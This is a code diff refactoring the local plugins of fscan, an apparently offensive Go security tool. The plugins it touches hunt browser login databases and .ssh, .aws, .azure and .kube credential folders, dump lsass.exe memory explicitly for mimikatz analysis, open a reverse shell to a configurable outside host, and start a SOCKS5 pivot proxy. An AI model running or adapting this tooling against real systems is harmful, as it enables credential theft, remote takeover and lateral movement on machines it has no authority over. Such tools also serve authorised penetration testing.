filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() {
}
case "linux", "darwin":
c.sensitiveFiles = []string{
p.sensitiveFiles = []string{
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf",
@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() {
}
}
c.searchDirs = c.getOptimizedSearchDirs()
p.searchDirs = p.getOptimizedSearchDirs()
}
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
var dirs []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
dirs = []string{
// 用户目录的关键文件夹
c.GetCommonDirectories()[0], // homeDir
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
filepath.Join(homeDir, ".ssh"),
filepath.Join(homeDir, ".aws"),
filepath.Join(homeDir, ".azure"),
filepath.Join(homeDir, ".kube"),
// 公共目录的关键部分
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
}
case "linux", "darwin":
homeDir := c.GetCommonDirectories()[0]
dirs = []string{
homeDir,
filepath.Join(homeDir, "Desktop"),
@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
return validDirs
}
// ScanLocal 执行本地文件扫描
// ScanLocal 执行本地文件扫描 - 简化版本
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始本地敏感文件扫描...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogInfo("开始本地敏感文件扫描...")
foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.connector.sensitiveFiles {
for _, file := range p.sensitiveFiles {
if p.checkFile(file) {
foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...)
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: len(foundFiles) > 0,
Success: true,
Service: "FileInfo",
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
"system_info": systemInfo,
"search_dirs": len(p.searchDirs),
},
}
if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
for _, file := range foundFiles {
common.LogSuccess(fmt.Sprintf("发现: %s", file))
}
} else {
common.LogDebug("未发现敏感文件")
common.LogInfo("未发现敏感文件")
}
return result, nil
@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string {
maxFiles := 50 // 限制最多找到的文件数量
maxDepth := 4 // 限制递归深度
for _, searchPath := range p.connector.searchDirs {
for _, searchPath := range p.searchDirs {
if len(foundFiles) >= maxFiles {
break
}
@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
return false
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
// RegisterFileInfoPlugin 注册文件信息收集插件
func RegisterFileInfoPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
@ -372,5 +356,25 @@ func init() {
func() base.Plugin {
return NewFileInfoPlugin()
},
))
)
base.GlobalPluginRegistry.Register("fileinfo", factory)
}
// GetInfo 获取插件信息
func (p *FileInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("本地敏感文件扫描插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterFileInfoPlugin()
}

View File

@ -6,45 +6,12 @@ import (
"github.com/shadow1ng/fscan/plugins/base"
)
// LocalConnector 本地信息收集连接器接口
type LocalConnector interface {
// Connect 建立本地连接(实际上是初始化本地环境)
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
// Close 关闭连接和清理资源
Close(conn interface{}) error
// GetSystemInfo 获取系统信息
GetSystemInfo(conn interface{}) (map[string]string, error)
}
// LocalScanner 本地扫描器接口
type LocalScanner interface {
base.Scanner
// ScanLocal 执行本地扫描
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetLocalData 获取本地数据
GetLocalData(ctx context.Context) (map[string]interface{}, error)
}
// LocalExploiter 本地信息提取器接口
type LocalExploiter interface {
base.Exploiter
// ExtractData 提取本地数据
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
}
// LocalPlugin 本地插件接口
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
type LocalPlugin interface {
base.Plugin
LocalScanner
LocalExploiter
// GetLocalConnector 获取本地连接器
GetLocalConnector() LocalConnector
// ScanLocal 执行本地扫描 - 核心功能
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string
@ -52,3 +19,8 @@ type LocalPlugin interface {
// RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool
}
// 移除不必要的接口:
// - LocalConnector: 本地插件不需要"连接"概念
// - LocalScanner: 功能合并到LocalPlugin中
// - LocalExploiter: 本地插件不需要攻击利用功能

View File

@ -12,6 +12,7 @@ import (
"golang.org/x/sys/windows"
"os"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct {
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件
// MiniDumpPlugin 内存转储插件 - 使用简化架构
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
@ -74,7 +69,7 @@ type ProcessManager struct {
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
Protocols: []string{"local"},
}
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
}
// 仅支持Windows平台
@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &MiniDumpConnector{
BaseLocalConnector: baseConnector,
// Initialize 初始化插件
func (p *MiniDumpPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
// 加载系统DLL
return p.loadSystemDLLs()
}
// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
return nil, err
}
// loadSystemDLLs 加载系统DLL
func (p *MiniDumpPlugin) loadSystemDLLs() error {
common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
common.LogDebug("advapi32.dll 加载成功")
c.kernel32 = kernel32
c.dbghelp = dbghelp
c.advapi32 = advapi32
p.kernel32 = kernel32
p.dbghelp = dbghelp
p.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成")
return localConn, nil
return nil
}
// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
// ScanLocal 执行内存转储扫描 - 简化版本
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() {
if r := recover(); r != nil {
@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
}
}()
common.LogBase("开始进程内存转储...")
common.LogInfo("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
common.LogSuccess("已确认具有管理员权限")
// 建立连接
common.LogDebug("正在建立连接...")
conn, err := p.connector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("连接失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogSuccess("连接建立成功")
// 创建进程管理器
common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{
kernel32: p.connector.kernel32,
dbghelp: p.connector.dbghelp,
advapi32: p.connector.advapi32,
kernel32: p.kernel32,
dbghelp: p.dbghelp,
advapi32: p.advapi32,
}
common.LogSuccess("进程管理器创建成功")
@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
fileSize = fileInfo.Size()
}
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
"system_info": systemInfo,
},
}
@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
// RegisterMiniDumpPlugin 注册内存转储插件
func RegisterMiniDumpPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
@ -622,5 +596,24 @@ func init() {
func() base.Plugin {
return NewMiniDumpPlugin()
},
))
)
base.GlobalPluginRegistry.Register("minidump", factory)
}
// GetInfo 获取插件信息
func (p *MiniDumpPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows进程内存转储插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
info.WriteString("要求: 需要管理员权限\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterMiniDumpPlugin()
}

View File

@ -4,27 +4,27 @@ import (
"context"
"errors"
"fmt"
"os"
"os/user"
"runtime"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// BaseLocalPlugin 本地插件基础实现
// BaseLocalPlugin 本地插件基础实现 - 简化架构
type BaseLocalPlugin struct {
*base.BasePlugin
connector LocalConnector
platforms []string
requiresPrivileges bool
}
// NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{
BasePlugin: basePlugin,
connector: connector,
platforms: []string{"windows", "linux", "darwin"},
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
requiresPrivileges: false,
}
}
@ -60,37 +60,36 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
}, nil
}
// Exploit 执行利用
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 获取本地数据
data, err := p.GetLocalData(ctx)
if err != nil {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("获取本地数据失败: %v", err),
}, nil
// GetSystemInfo 获取系统信息 - 实用工具方法
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
systemInfo := make(map[string]string)
systemInfo["os"] = runtime.GOOS
systemInfo["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
systemInfo["home_dir"] = homeDir
}
return p.ExtractData(ctx, info, data)
if workDir, err := os.Getwd(); err == nil {
systemInfo["working_dir"] = workDir
}
systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if currentUser, err := user.Current(); err == nil {
systemInfo["username"] = currentUser.Username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
systemInfo["hostname"] = hostname
}
return systemInfo
}
// GetLocalData 默认获取本地数据实现(子类应重写)
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
}
// ExtractData 默认数据提取实现(子类应重写)
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: false,
Error: errors.New("ExtractData方法需要在子类中实现"),
}, nil
}
// GetLocalConnector 获取本地连接器
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
return p.connector
}
// GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
}
}
// 平台特定的权限检查函数
// 平台特定的权限检查函数 - 实际实现
func isWindowsAdmin() bool {
// 这里可以调用Windows API检查管理员权限
// 简化实现实际应该使用Windows API
// Windows管理员权限检查尝试写入系统目录
testPath := `C:\Windows\Temp\fscan_admin_test`
file, err := os.Create(testPath)
if err != nil {
// 无法创建文件,可能没有管理员权限
return false
}
file.Close()
os.Remove(testPath)
return true
}
func isUnixRoot() bool {
// 检查是否为root用户
// Unix/Linux root用户检查
currentUser, err := user.Current()
if err != nil {
return false
}
return currentUser.Uid == "0"
}

View File

@ -17,29 +17,15 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
connector *ReverseShellConnector
target string // 目标地址:端口
}
// ReverseShellConnector 反弹Shell连接器
type ReverseShellConnector struct {
*local.BaseLocalConnector
host string
port int
}
// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
*local.LocalConnection
Target string
Host string
Port int
}
// NewReverseShellPlugin 创建反弹Shell插件
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
Protocols: []string{"local"},
}
connector := NewReverseShellConnector(target)
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
target: target,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
baseConnector, _ := local.NewBaseLocalConnector()
// 解析目标地址
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector {
port = 4444 // 默认端口
}
return &ReverseShellConnector{
BaseLocalConnector: baseConnector,
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
target: target,
host: host,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Connect 建立反弹Shell连接
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 跳过连通性测试避免抢占反弹shell连接通道
// 反弹shell会在实际使用时进行连接这里不需要预先测试
reverseShellConn := &ReverseShellConnection{
LocalConnection: baseConn,
Target: fmt.Sprintf("%s:%d", c.host, c.port),
Host: c.host,
Port: c.port,
}
return reverseShellConn, nil
}
// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// Initialize 初始化插件
func (p *ReverseShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
// ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
reverseShellConn := conn.(*ReverseShellConnection)
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{
"target": reverseShellConn.Target,
"target": p.target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()

View File

@ -15,27 +15,14 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// Socks5ProxyPlugin SOCKS5代理插件
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
type Socks5ProxyPlugin struct {
*local.BaseLocalPlugin
connector *Socks5ProxyConnector
port int
listener net.Listener
}
// Socks5ProxyConnector SOCKS5代理连接器
type Socks5ProxyConnector struct {
*local.BaseLocalConnector
port int
}
// Socks5ProxyConnection SOCKS5代理连接对象
type Socks5ProxyConnection struct {
*local.LocalConnection
Port int
}
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
// 从全局参数获取SOCKS5端口
port := common.Socks5ProxyPort
@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
Protocols: []string{"local"},
}
connector := NewSocks5ProxyConnector(port)
plugin := &Socks5ProxyPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
return plugin
}
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &Socks5ProxyConnector{
BaseLocalConnector: baseConnector,
port: port,
}
}
// Connect 建立SOCKS5代理连接
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 检查端口是否可用
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
if err != nil {
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
}
testListener.Close() // 立即关闭测试监听器
socks5Conn := &Socks5ProxyConnection{
LocalConnection: baseConn,
Port: c.port,
}
return socks5Conn, nil
}
// Close 关闭SOCKS5代理连接
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// Initialize 初始化插件
func (p *Socks5ProxyPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动SOCKS5代理服务器...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
socks5Conn := conn.(*Socks5ProxyConnection)
// 启动SOCKS5代理服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
// 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
err = p.startSocks5Server(ctx, socks5Conn.Port)
err := p.startSocks5Server(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
return &base.ScanResult{
@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo
result := &base.ScanResult{
Success: true,
Service: "SOCKS5Proxy",
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": socks5Conn.Port,
"port": p.port,
"platform": runtime.GOOS,
"protocol": "socks5",
"status": "completed",
@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn
func (p *Socks5ProxyPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
info.WriteString("SOCKS5代理服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供本地SOCKS5代理服务支持TCP连接转发\n")
info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")

12
main.go
View File

@ -8,12 +8,12 @@ import (
"github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
)
func main() {